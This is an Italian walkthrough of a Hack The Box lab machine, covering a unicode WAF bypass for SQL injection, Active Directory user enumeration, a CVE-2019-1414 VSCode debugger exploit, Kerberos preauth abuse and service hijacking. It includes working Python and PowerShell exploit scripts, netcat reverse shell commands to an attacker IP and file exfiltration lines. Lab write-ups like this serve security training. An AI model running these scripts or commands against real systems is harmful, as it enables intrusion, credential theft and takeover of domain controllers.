NMAP

Come al solito inizio la box con una scansione dei servizi:

scansione Nmap

Porta 53, porta 88 aperte quindi molto probabilmente si tratta di un Domain Controller. Eviterò di inserire lo screen della scansione approfondita per facilitare la lettura.

Dal momento che la porta 80 è aperta decido di dare un’occhiata. Tra le poche funzioni del sito quella che attira la mia attenzione è “Colleague finder”. Semplicemente premendo invio sul form di ricerca mi viene presentata una lista di utenti, di seguito lo screen del sito e la relativa richiesta in burp:

colleague finder
richiesta api getColleagues

WAF Bypass

Inizio a vedere se il parametro è vulnerabile a SQLi ma ogni volta che inserisco caratteri o parole chiave (‘, or, union, select ecc) ricevo una risposta 403 Forbidden. Tra l’altro anche facendo un bruteforce delle directory con dirb o simili occorre impostare un delay piuttosto elevato altrimenti le richieste vengono bloccate. Probabilmente è presente un waf che tiene sotto controllo il sito. La prima cosa che cerco di fare è bypassarlo per vedere se riesco a verificare la presenza di una SQL Injection.

waf

Dopo numerosi tentativi e grattacapi mi rendo conto che posso convertire in unicode il mio payload e bypassare le restrizioni del waf. Risparmierò di scrivere le centinaia di tentativi che ho fatto, ad ogni modo mi sono accorto che fosse possibile bypassare il waf con questo payload minato’ –:

minato\u0027 \u002d\u002d

waf bypass

Sebbene il waf sia stato bypassato la query non restituisce il risultato che speravo, sono di fronte a una blind SQLi. Mi sono fatto un idea della query e ho immaginato che non restituisse alcun risultato con il payload da me usato per il semplice motivo che non utilizza la clausola WHERE ma LIKE. È possibile capirlo perché se invece di cercare “minato”, cerco “mi”, compaiono tutti i risultati che contengono la sillaba mi:

risultati ricerca mi

SQL Injection

A questo punto cerco di selezionare altri dati dal database con l’operatore UNION, concatenando un’altra select. Prima di farlo però ho la necessità di capire quanti campi della tabella SQL va a leggere la query originale ed è possibile farlo il 2 modi:

  • ORDED BY
  • Contare le proprietà contenute nella risposta JSON (id, name, position, email, src)

I campi a disposizione sono 5, lo conferma anche la query con ORDER BY:

minato' ORDER BY 5 --

\u006d\u0069\u006e\u0061\u0074\u006f\u0027 \u004f\u0052\u0044\u0045\u0052 \u0042\u0059 \u0035 \u002d\u002d

order by 5

ORDER BY 6 restituisce null, di conseguenza i campi sono 5.

order by 6

Per le conversioni da stringa a unicode ho utilizzato questo sito: https://www.branah.com/unicode-converter

Eseguo una query di prova per vedere se funziona tutto:

minato' union select 1,@@version,3,4,5 --

\u006d\u0069\u006e\u0061\u0074\u006f\u0027 \u0075\u006e\u0069\u006f\u006e \u0073\u0065\u006c\u0065\u0063\u0074 \u0031\u002c\u0040\u0040\u0076\u0065\u0072\u0073\u0069\u006f\u006e\u002c\u0033\u002c\u0034\u002c\u0035 \u002d\u002d

versione SQL Server

La query viene eseguita correttamente! Ho inserito @@versione nel campo 2, corrispondente a name, perché il campo id essendo numerico avrebbe generato un errore SQL. Avrei potuto usare anche gli altri campi, ma non id.

In sostanza, tenendo a mente la query originale che potrebbe essere:

SELECT * FROM tabella LIKE name = '%input%'

È stata trasformata in:

SELECT * FROM tabella LIKE name = '%input%' UNION SELECT 1,@@version,3,4,5 --

Il risultato della union select è piazzato all’interno dei campi della select originale, la query potrebbe essere stata così, avrebbe funzionato lo stesso:

SELECT * FROM tabella LIKE name = '%input%' UNION SELECT 1,@@version,'ciao','come','stai' --

Generando:

idnamepositionemailsrc
1SQL Server bla bla..ciaocomestai

L’importante è lasciare numerico il campo id, o qualsiasi altro campo numerico presente nella tabella del database.

A questo punto è possibile enumerare alcune tabelle ed alcuni utenti all’interno del database. Per fare ciò ho creato uno script in python che mi permettesse di velocizzare tutte le operazioni di conversione del payload in unicode ed effettuare query più velocemente:

#!/usr/bin/python3

#Multimaster SQLinjection exploit - TheJ0k3r

import requests
import json
import sys
import binascii

def banner():

    print("""
    Multimaster SQLi WAF bypass by TheJ0k3r - 2020
    Usage: python3 FIELD FROM
    python3 exploit.py @@version
    python3 exploit.py password 'FROM Logins'
    """)

def remove_unicode_spaces(payload):

    return payload.replace("\\u0020", " ")

def set_fields(payload):

    fields = payload.split(',')
    n_fields = len(fields)

    payload_filler = ""

    if n_fields > 5:
        print("[-] You can select max 4 fields at once.")
    else:
        for i in range(n_fields+1, 5):
            payload_filler += ',' + str(i)

    #print('Filler: ' + payload + payload_filler)
    return payload + payload_filler


def build_payload(payload):
   
    from_sql = ""

    try:
        from_sql = sys.argv[2] + " " 
    except:
        pass

    fields = set_fields(payload)
    sql_injection_tpl = "minato' union select 1," + fields  +" {from_placeholder}-- "

    # payload = sql_injection_tpl.replace('{placeholder}', payload)
    payload = sql_injection_tpl.replace('{from_placeholder}', from_sql)
    
    print("")
    print("query> " + payload)
    print("")
    payload = binascii.b2a_hex(payload.encode('utf-8'))
    b = 2

    splitted = [payload[i:i+b] for i in range(0, len(payload), b)]

    unicodeval_string = ""

    for part in splitted:
        
        unicodeval_string += "\\u00" + part.decode('utf-8')

    unicode_payload_string = unicodeval_string

    return remove_unicode_spaces(unicode_payload_string)


def make_request(payload):

    useragent = 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0'

    unicode_payload = build_payload(payload)
    #print("Debug injection: " + unicode_payload)
    payload = '{"name": "' + unicode_payload  +'"}'

    cl = str(len(payload))

    headers = '{"Host":"10.10.10.179", "User-Agent":"'+ useragent  +'", "Content-Type":"application/json;charset=utf-8", "Content-Length":"'+ cl +'", "Connection":"close"}'
    
    url = "http://10.10.10.179/api/getColleagues"
    res = requests.post(url, data=payload, headers=json.loads(headers))
    
    return payload, res 

# Deprecated
def print_results(response):

    try:
        for element in response:
            print(element['name'])
    except TypeError:
            print('[-] Smething went wrong with the query. You can select one field at time.')

if len(sys.argv) < 2:
    banner()
else:
    print("")
    print("Multimaster SQLi WAF bypass by TheJ0k3r - 2020")
    data = make_request(sys.argv[1])
    print("[+] Unicode payload: " + data[0])
    print("")
    parsed = json.loads(data[1].text)
    print('[+] Results:')
    #print_results(parsed)

    print("[+] Response: \r\n" + json.dumps(parsed, indent=2))

All’interno del database è presente una tabella logins, eviterò di indicare le varie query che ho usato per enumerare tabelle e colonne dal momento che sono presenti in rete vari mssql cheatsheet con tutte le query del caso:

python3 exploit.py "username,password" "from Logins"

Di seguito l’output dello script:

Multimaster SQLi WAF bypass by TheJ0k3r - 2020

query> minato' union select 1,username,password,3,4 from logins -- 

[+] Unicode payload: {"name": "\u006d\u0069\u006e\u0061\u0074\u006f\u0027 \u0075\u006e\u0069\u006f\u006e \u0073\u0065\u006c\u0065\u0063\u0074 \u0031\u002c\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u002c\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u002c\u0033\u002c\u0034 \u0066\u0072\u006f\u006d \u006c\u006f\u0067\u0069\u006e\u0073 \u002d\u002d "}

[+] Response: 
[
  {
    "id": 1,
    "name": "aldom",
    "position": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
    "email": "3",
    "src": "4"
  },
  {
    "id": 1,
    "name": "alyx",
    "position": "fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa",
    "email": "3",
    "src": "4"
  },
  {
    "id": 1,
    "name": "ckane",
    "position": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
    "email": "3",
    "src": "4"
  },
  {
    "id": 1,
    "name": "cyork",
    "position": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
    "email": "3",
    "src": "4"
  },
  {
    "id": 1,
    "name": "egre55",
    "position": "cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc",
    "email": "3",
    "src": "4"
  },
  {
    "id": 1,
    "name": "ilee",
    "position": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
    "email": "3",
    "src": "4"
  },
  {
    "id": 1,
    "name": "james",
    "position": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
    "email": "3",
    "src": "4"
  },
  {
    "id": 1,
    "name": "jorden",
    "position": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
    "email": "3",
    "src": "4"
  },
  {
    "id": 1,
    "name": "kpage",
    "position": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
    "email": "3",
    "src": "4"
  },
  {
    "id": 1,
    "name": "minatotw",
    "position": "cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc",
    "email": "3",
    "src": "4"
  },
  {
    "id": 1,
    "name": "nbourne",
    "position": "fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa",
    "email": "3",
    "src": "4"
  },
  {
    "id": 1,
    "name": "okent",
    "position": "fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa",
    "email": "3",
    "src": "4"
  },
  {
    "id": 1,
    "name": "rmartin",
    "position": "fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa",
    "email": "3",
    "src": "4"
  },
  {
    "id": 1,
    "name": "sbauer",
    "position": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
    "email": "3",
    "src": "4"
  },
  {
    "id": 1,
    "name": "shayna",
    "position": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739",
    "email": "3",
    "src": "4"
  },
  {
    "id": 1,
    "name": "zac",
    "position": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
    "email": "3",
    "src": "4"
  },
  {
    "id": 1,
    "name": "zpowers",
    "position": "68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813",
    "email": "3",
    "src": "4"
  }
]

In corrispondenza di name si trova l’username, in corrispondenza di position si trova l’hash della password. E’ possibile decifrare le password come utilizzando Keccak-384:

hash-identifier
hashcat
hashcat

Molti hash si ripetono tra i vari utenti, alla fine le password diverse risultano essere 3: password1, finance1, banking1.

Purtroppo nessuno degli utenti è in grado di accedere alla macchina tramite evil-winrm con quelle password. Sicuramente mi manca un’utenza, nel database gli username che ho trovato non sono tutti quelli del dominio active directory.

Dopo aver fatto un po’ di ricerche su google ho trovato una tecnica interessante che potrebbe funzionare, decido di fare un tentativo:

https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/

select suser_sid()

Il server mi risponde con:

\u0001\u0005\u0000\u0000\u0000\u0000\u0000\u0005\u0015\u0000\u0000\u0000\u001c\u0000\u00d1\u00bc\u00d1\u0081\u00f1I+\u00df\u00c26\u0001\u0002\u0000\u0000

Facendo un po’ di tentativi seguendo l’articolo che ho linkato ho elaborato il seguente SID:

0x0105000000000005150000001C00D1BCD181F1492BDFC23600020000

Praticamente nell’output del mio script ho dovuto riconvertire i caratteri I+ e 6 (non voglio domandarmi perché siano stati stampati così) rispettivamente in \u0049\u002b e \u0036 mentre ho dovuto eliminare \u0001. Per fortuna che avevo dei SID di riferimento!

Il SID non è altro che un identificatore di sicurezza di windows che identifica in modo univoco un’entità o un gruppo di sicurezza.

Direttamente dal sito Microsoft:

Ogni account o gruppo o processo in esecuzione nel contesto di sicurezza dell’account ha un SID univoco emesso da un’autorità, ad esempio un controller di dominio Windows. È archiviato in un database di sicurezza. Il sistema genera il SID che identifica un determinato account o gruppo al momento della creazione dell’account o del gruppo. Quando un SID è stato usato come identificatore univoco per un utente o un gruppo, non potrà mai più essere usato per identificare un altro utente o gruppo.

Ogni volta che un utente accede, il sistema crea un token di accesso per l’utente. Il token di accesso contiene il SID dell’utente, i diritti utente e i SID per tutti i gruppi a cui appartiene l’utente. Questo token fornisce il contesto di sicurezza per tutte le azioni eseguite dall’utente nel computer in uso.

Per maggiori info:

https://docs.microsoft.com/it-it/windows/security/identity-protection/access-control/security-identifiers

Gli ultimi 8 bytes del SID rappresentano il RID, l’identificatore relativo di sicurezza, mentre i primi 48 bytes sono il SID.

Il RID dell’utente Administrator (dominio) è sempre 500, che in esadecimale corrisponde a 1F4, che in little endian è F401 e col padding per arrivare a 8 bytes è F4010000

Ricapitolando ad ogni RID corrisponde un gruppo, un utente, una macchina etc. Facendo un bruteforce dei RID attraverso SQL Server grazie alla SQL Injection è possibile enumerare gli utenti di Active Directory.

USER FLAG

Ho creato uno script per evitare di fare tutto a mano, lo script parte da un RID 500 in esadecimale e incrementa fino a 10000 per enumerare il più possibile:

#!/usr/bin/python

import requests
import time
import json
import binascii

def banner():
    print("""
    Multimaster user enumeration by TheJ0k3r - 2020
    Usage: python3 user_enum.py
            """)


def get_rid(payload):

    cl = str(len(payload))
    useragent = "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
    headers = '{"Host":"10.10.10.179", "User-Agent":"'+ useragent  +'", "Content-Type":"application/json;charset=utf-8", "Content-Length":"'+ cl +'", "Connection":"close"}'
    
    url = "http://10.10.10.179/api/getColleagues"
    res = requests.post(url, data=payload, headers=json.loads(headers))
    
    return res.text

def print_user(res, i):

    user = res[0]
    if len(user['name']) > 0:
        print('Try: ' + str(i) + '/10000, User/Group: '+ user['name'])
    

def build_rid():

    n = 500
    b = 2

    # minato' union select 1,suser_sname(0x0105000000000005150000001C00D1BCD181F1492BDFC236{placeholder}),2,3,4 -- 
    payload = '\u006d\u0069\u006e\u0061\u0074\u006f\u0027 \u0075\u006e\u0069\u006f\u006e \u0073\u0065\u006c\u0065\u0063\u0074 \u0031\u002c\u0073\u0075\u0073\u0065\u0072\u005f\u0073\u006e\u0061\u006d\u0065\u0028\u0030\u0078\u0030\u0031\u0030\u0035\u0030\u0030\u0030\u0030\u0030\u0030\u0030\u0030\u0030\u0030\u0030\u0035\u0031\u0035\u0030\u0030\u0030\u0030\u0030\u0030\u0031\u0043\u0030\u0030\u0044\u0031\u0042\u0043\u0044\u0031\u0038\u0031\u0046\u0031\u0034\u0039\u0032\u0042\u0044\u0046\u0043\u0032\u0033\u0036{placeholder}\u0029\u002c\u0032\u002c\u0033\u002c\u0034 \u002d\u002d '
   

    for h in range(n, 10001):
        #print(i)
        n_strhex = str(hex(h)).replace('x','')
        
        splitted = [n_strhex[i:i+b] for i in range(0, len(n_strhex), b)]
        splitted.reverse()
        padding = '\u0030\u0030\u0030\u0030'
        
        rid = ''.join(splitted)
        unicoded = ""

        for element in rid:
            
            unicoded += '\u00' + binascii.b2a_hex(element.upper().encode())

        f_payload = '{"name":"' + payload.replace('{placeholder}',unicoded + padding) + '"}'
        
        user = get_rid(f_payload)

        time.sleep(3)
       
        # print('Payload: ' + f_payload)
        # print(user)
        print_user(json.loads(user),h)


build_rid()

Di seguito l’output dell’user enumeration, ho stoppato l’esecuzione dello script dopo aver identificato il nuovo utente che non era presente nel database:

enumerazione utenti

Infine ho provato a connettermi con le password trovate in precedenza con l’utenza tushikikatomo:

user flag

ENUMERATION

Una volta ottenuta la shell ho iniziato a guardarmi intorno, privilegi utente, file, cartelle, finché non mi è saltata all’occhio la lista dei processi attivi:

Get-Process

Visual Studio Code è in esecuzione all’interno della macchina, tra l’altro enumerando i gruppi esiste proprio un gruppo Developers e addirittura uno share montato in E:\, decido di approfondire:

Mi ricordo di aver letto un articolo in passato riguardo una vulnerabilità di Code che veniva avviato con la modalità di debug attiva:

https://iwantmore.pizza/posts/cve-2019-1414.html

L’articolo spiega che la porta di debug è differente ad ogni avvio di VSCode. Ho tentato di lanciare netstat col flag -b per vedere il nome del processo insieme alla porta utilizzata ma non ho i diritti sufficienti per utilizzare il flag. Provo così:

Get-Process
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
     59       5     1908       3336              6772   1 cmd
    413      22    15400      20104               268   1 Code
    679      48    32548      89384              1348   1 Code
    407      54    95324     133884              1736   1 Code
    319      32    39492      57620              2040   1 Code
    406      53    95612     114316              2476   1 Code
    277      51    57324      74032              3404   1 Code
    277      51    57460      62740              3992   1 Code
    278      51    57512      74704              4512   1 Code
    407      55    97272     136648              4676   1 Code
    214      15     6108      10452              5064   1 Code
netstat -ano -p tcp
Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       584
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       812
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       584
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       584
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       812
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       584
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING       3888
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       584
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       584
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       940
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       2276
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       452
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1008
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       932
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       584
  TCP    0.0.0.0:49673          0.0.0.0:0              LISTENING       584
  TCP    0.0.0.0:49674          0.0.0.0:0              LISTENING       584
  TCP    0.0.0.0:49675          0.0.0.0:0              LISTENING       1784
  TCP    0.0.0.0:49678          0.0.0.0:0              LISTENING       2232
  TCP    0.0.0.0:49692          0.0.0.0:0              LISTENING       2308
  TCP    0.0.0.0:49699          0.0.0.0:0              LISTENING       576
  TCP    0.0.0.0:49706          0.0.0.0:0              LISTENING       2292
  TCP    10.10.10.179:53        0.0.0.0:0              LISTENING       2308
  TCP    10.10.10.179:139       0.0.0.0:0              LISTENING       4
  TCP    10.10.10.179:5985      10.10.14.46:44302      TIME_WAIT       0
  TCP    10.10.10.179:5985      10.10.14.46:44306      TIME_WAIT       0
  TCP    10.10.10.179:5985      10.10.14.46:44308      ESTABLISHED     4
  TCP    10.10.10.179:50726     10.10.14.46:4444       CLOSE_WAIT      6888
  TCP    10.10.10.179:51729     10.10.14.46:4444       ESTABLISHED     3952
  TCP    127.0.0.1:53           0.0.0.0:0              LISTENING       2308
  TCP    127.0.0.1:1434         0.0.0.0:0              LISTENING       3888
  TCP    127.0.0.1:1648         0.0.0.0:0              LISTENING       3404
  TCP    127.0.0.1:4075         0.0.0.0:0              LISTENING       4512
  TCP    127.0.0.1:17929        0.0.0.0:0              LISTENING       3992

È possibile vedere come l’ultimo processo 3992 sia in ascolto sulla porta 17929 e vedendo l’output di Get-Process il processo 3992 fa proprio riferimento a Code.

LATERAL MOVEMENT CYORK

Nelle immagini che seguiranno è possibile che il numero della porta non coincida con quelli che ho appena elencato perché nella macchina c’è qualcosa che simula user interaction e VSCode si riavvia ad intervalli regolari, così la porta di debug attiva cambia.

Faccio un test manuale per vedere se riesco, come indicato nell’articolo, a ottenere il link del websocket usitlizzato dal processo di debug:

link al websocket

Nel frattempo la porta era cambiata in 22817, ad ogni modo è possibile vedere come il debugger sia attivo e penso proprio di poter sfruttare il CVE-2019-1414:

webSocketDebuggerUrl: ws://127.0.0.1:22817/a103c2d1-c765-47b6-a4dd-e34680d42ecb

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1414

Sul sito di riferimento che ho linkato in precedenza è presente un PoC per Node.js ma il comando node per lanciare lo script non è riconosciuto dalla shell, così documentandomi un po’, sono riuscito a ricreare lo script in PowerShell:

<#
.SYNOPSIS
    VSCode Exploit PS version based on https://iwantmore.pizza/posts/cve-2019-1414.html
	Coded By TheJ0k3r - HTB

.DESCRIPTION
    See .Synopsis

.NOTES
    Depends on third-party library WebSocket-Sharp:
    https://github.com/sta/websocket-sharp 
   
.PARAMETER LPORT
    This parameter is MANDATORY.
    This the port where the Node.js debugger is listening to.   

.PARAMETER RHOST
    This parameter is MANDATORY.
    This parameter is the IP to connect the reverse shell to.

.PARAMETER RPORT
    This parameter is MANDATORY.
    This parameter is the PORT to connect the reverse shell to.

.PARAMETER NC PATH
    This parameter is MANDATORY.
    This is the path where nc.exe has been placed

.EXAMPLE
    PS C:\Users\User> . .\exploit.ps1 62541 "C:/users/Default/Documents/nc.exe -nv 10.10.14.46 4444 -e cmd.exe"
#> 

$LHOST = '127.0.0.1'
$LPORT = $args[0]
$CMD = $args[1]

<#
function base64([string]$sStringToEncode) {

	$sEncodedString=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($sStringToEncode))
	return $sEncodedString

}

function fromBase64([string]$stringToDecode) {

	$res = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($stringToDecode))
	return $res
	
}
#>

function getWsLink() {

    $res = Invoke-RestMethod "http://${LHOST}:${LPORT}/json"
    $data = $res.webSocketDebuggerUrl

	return $data

}

function main() {

Write-Output "Getting webSocketDebuggerUrl from http://${LHOST}:${LPORT}/json"
    $wsLink = getWsLink
	Write-Output "[+] Found webSocketDebuggerUrl: ${wsLink}"
	$socket = New-Object System.Net.WebSockets.ClientWebSocket
	$cancToken = New-Object System.Threading.CancellationToken

	$conn = $socket.ConnectAsync($wsLink, $cancToken)

	while (!$conn.IsCompleted) {
		Start-Sleep -Milliseconds 100
	}

	Write-Host "[+] Connected to ${wsLink}"

    $payload = "{ `"id`": 1, `"method`": `"Runtime.enable`" }"
	$l = @(); $payload.ToCharArray() | % {$l += [byte] $_} 
	$msg = New-Object System.ArraySegment[byte]  -ArgumentList @(,$l)
	$t = $socket.SendAsync($msg, [System.Net.WebSockets.WebSocketMessageType]::Text, [System.Boolean]::TrueString, $cancToken)
    do { Start-Sleep -Milliseconds 100 }
    until ($t.IsCompleted)

	$reverse = "${CMD}"

    Write-Host "[+] Executing command ${reverse}"
   
    $child_process = "process.mainModule.require('child_process').exec('" + $reverse + "')"
    
    Write-Host "[+] child_process: ${child_process}"

	$payload = "{ `"id`": 2, `"method`": `"Runtime.evaluate`", `"params`": { `"expression`": `"${child_process}`"} }"
	$l = @(); $payload.ToCharArray() | % {$l += [byte] $_} 
	$msg = New-Object System.ArraySegment[byte]  -ArgumentList @(,$l)
	$t = $socket.SendAsync($msg, [System.Net.WebSockets.WebSocketMessageType]::Text, [System.Boolean]::TrueString, $cancToken)
    do { Start-Sleep -Milliseconds 100 }
    until ($t.IsCompleted)

    $t = $socket.CloseAsync([System.Net.WebSockets.WebSocketCloseStatus]::NormalClosure, "NormalClosure", $cancToken) 
    do { Start-Sleep -Milliseconds 100 }
    until ($t.IsCompleted)

}

main

Scarico lo script sulla box, insieme a netcat e provo ad eseguire lo script.

esecuzione dello script

Lo script prevede che gli venga passato come primo argomento la porta del debugger e il secondo argomento il comando da lanciare. Com’è visibile dall’immagine qui sopra riesce a pelevarsi il link del websocket e a stabilire una connessione per lanciare il comando. Ho la shell:

shell come utente Cyork

Ho fatto numerosi tentativi prima di ottenere la shell, li riassumerò brevemente. Praticamente riuscivo a lanciare vari comandi, tra cui a pingare anche la mia macchina ma non ottenevo la shell, non c’era verso. Enumerando i permessi della cartella in cui avevo posizionato netcat, ho notato che solo l’utente corrente tushikikatomo aveva accesso a quella cartella. Dovevo trovare una cartella accessibile a tutti, alla fine ho provato con C:\Users\Default\Documents\ e ha funzionato! Per enumerare i permessi di file e cartelle è possibile utilizzare icacls.exe

LATERAL MOVEMENT SBAUER

Durante l’enumerazione con l’utenza di tushikikatomo mi er scaricato sulla macchina SharpHound per enumerare più velocemente il dominio con BloodHound. Attraverso la visione di insieme di Bloodhound era chiaro il percorso da seguire.

Così come per th

tushikikatomo anche cyork non aveva nessuna relazione “sospetta” né con gruppi né con utenti, tantomeno privilegi particolari. Perciò era chiaro che dopo cyork un’utenza chiave era quella di sbauer, collegato con un permesso di GenericWrite su jorden. Era l’unica strada perseguibile.

BloodHound

Procedo con l’enumerazione della macchina come cyork, dal momento che l’utente fa parte del gruppo Development, provo ad accedere a una cartella che con l’utenza di tushikikatomo era inaccessibile, la directory C:\inetpub\wwwroot, quella dell’applicazione web.

Dentro alla cartella bin trovo un file interessante nominato MultimasterAPI.dll, lo scarico sulla mia macchina con netcat dopo averlo scaricato sulla macchina – il primo comando sulla box, il secondo in locale:

nc.exe -nv 10.10.14.46 80 < MultimasterAPI.dll

nc -lnvp 80 > MultimasterAPI.dll

Analizzando il file con ILSpy ho trovato diverse cosette interessanti. La prima è il codice che filtrava gli input durante gli step iniziali, la query di ricerca dei colleghi. Non si trattava di un waf bensì di codice che con un blacklist bloccava le mie richieste:

filtro query ap/getColleagues

La seconda cosa interessante sono le credenziali di accesso al database!

credenziali utente db

Con la password appena creata provo a connettermi attraverso evil-winrm con l’utenza sbauer:

sbauer shell

LATERAL MOVEMENT JORDEN

A questo punto la strada è in discesa considerando il permesso GenericWrite di sbauer sull’utente jorden:

ACL di sbauer su jorden
sbauer security identifier

GenericWrite permette di scrivere le proprietà di un oggetto, in questo caso dell’utente jorden.

GenericWrite: Provides write access to all properties.

The right to read permissions on this object, write all the properties on this object, and perform all validated writes to this object.

La strategia è quella di riconfigurare l’utenza di jorden in modo che per il suo accesso non sia necessaria la preautenticazione Kerberos. Se la preauth Kerberos è disabilitata è possibile richiedere un TGT senza l’ausilio della password, successivamente è possibile decifrarlo offline.

Di seguito ho reimpostato il valore dell’opzione di preauth:

set kerberos preauth

Ho richiesto il TGT con GetNPUsers.py:

ticket TGT

E l’ho decifrato con hashcat:

hashcat

Reimposto la preauth com’era inizialmente:

preauth on

Accedo con l’utente jorden:

jorden shell

PRIVILEGE ESCALATION

L’utente jorden fa parte del gruppo SERVER OPERATORS, questo è creato di default e permette di amministrare i server del dominio, solitamente è un gruppo vuoto a cui nessun utente dovrebbe appartenere. Il gruppo ha i seguenti permessi:

  • Login locale alla console del server
  • Cambiare ora di sistema
  • Fare il backup dei file e delle cartelle
  • Ripristinare i file e le cartelle
  • Shutdown del sistema
  • Shutdown del sistema da remoto

Questi privilegi sono visibili anche attraverso whoami /all.

Do un’ altra occhiata ai processi attivi sulla macchina, c’è un processo attivo che si chiama sqlwriter. Questo processo, stando a quanto riportato dalla documentazione microsoft provvede di funzionalità di backup e ripristino:

The SQL Writer Service provides added functionality for backup and restore of SQL Server through the Volume Shadow Copy Service framework.

Dati i permessi del gruppo SERVER OPERATORS penso che questo servizio sia proprio quello che fa al caso mio per elevare i privilegi.

Scarico netcat sulla box e provo a sovrascrivere le impostazioni del servizio sqlwriter.exe cambiando il binary path name con:

C:\users\jorden\documents\nc.exe -nv 10.10.14.46 4444 -e cmd.exe

rewrite sqlwriter.exe

Potevo enumerare i miei permessi per riconfigurare il servizio attraverso accesschk.exe, un tool messo a disposizione da windows. Siccome non avevo voglia di scaricarlo sulla box, ho provato direttamente a scrivere il nuovo path e ha funzionato ????

Metto in ascolto netcat in locale, fermo e riavvio il servizio sulla macchina con:

sc.exe stop sqlwriter

sc.exe start sqlwriter

E ottengo la shell:

roo shell